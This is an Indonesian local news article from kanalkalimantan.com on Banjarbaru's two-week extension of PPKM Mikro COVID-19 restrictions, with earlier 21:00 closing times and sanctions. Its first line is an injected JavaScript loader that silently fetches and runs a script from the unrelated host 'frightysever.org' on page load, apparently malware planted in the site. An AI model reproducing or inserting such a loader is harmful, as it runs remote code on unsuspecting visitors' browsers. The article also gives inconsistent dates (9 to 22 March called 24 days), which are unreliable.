(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) resmi memperpanjang masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro dua pekan. Hal itu tertuang dalam Peraturan Wali Kota (Perwali) Banjarbaru Nomor 300/2/KUM/2021 .
Adapun perpanjangan PPKM Mikro di Banjarbaru berlangsung dari tanggal 9 hingga 22 Maret mendatang atau selama 24 hari lamanya.
Wali Kota Banjarbaru, Aditya Mufti Ariffin, mengungkapkan bahwa keputusan memperpanjang PPKM Mikro merupakan hasil kesepakatan Pemko Banjarbaru dengan seluruh unsur Forum Komunikasi Pimpinan Daerah (Forkopimda) maupun Satgas Covid-19. Dalam hal ini ia menyebut ada dua faktor yang melandasi keputusan tersebut.
“Pertama, angka kasus Covid-19 di Banjarbaru belum mengalami penurunan. Kedua, hasil evaluasi kita melihat bahwa masyarakat cenderung tidak menerapakan protokol kesehatan 3M,” katanya kepada Kanalkalimantan, Jumat (14/3/2021).
Dalam perpanjangan masa PPKM Mikro, ujar Aditya, pihaknya lebih ketat dalam memberlakukan aturan. Kebijakan yang sebelumnya mengharuskan seluruh tempat usaha baik itu cafe, restoran, maupun tempat hiburan tutup pada pukul 22.00 Wita, kini telah diubah.
“Jika PPKM sebelumnya tempat usaha wajib tutup dan menghentikan kegiatan pukul 22.00 Wita. Nah, untuk yang baru ini kita majukan jadi pukul 21.00 Wita. Jadi lebih kita perketat,” bebernya.
Pembatasan jam kegiatan ini juga berlaku di fasilitas umum, seperti halnya di taman-taman perkotaan. Serta pusat berbelanja baik itu mall maupun toko-toko retail.
Selain itu, Wali Kota Banjarbaru juga menegaskan bahwa pihaknya tak akan segan memberikan sanksi keras kepada mereka yang melanggar batasan waktu yang berlaku selama berlangsungnya PPKM. Dalam hal ini sanksi yang diberikan, mulai dari teguran kepada para pemilik hingga terancam ditutup tempat usahanya.
“Pertama kita berikan teguran keras dulu. Tapi kalau masih mengindahkan, maka tempat usahanya akan kita segel sementara waktu. Masyarakat atau pengunjung yang melanggar juga akan kita tes swab antigen,” tuntas Aditya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.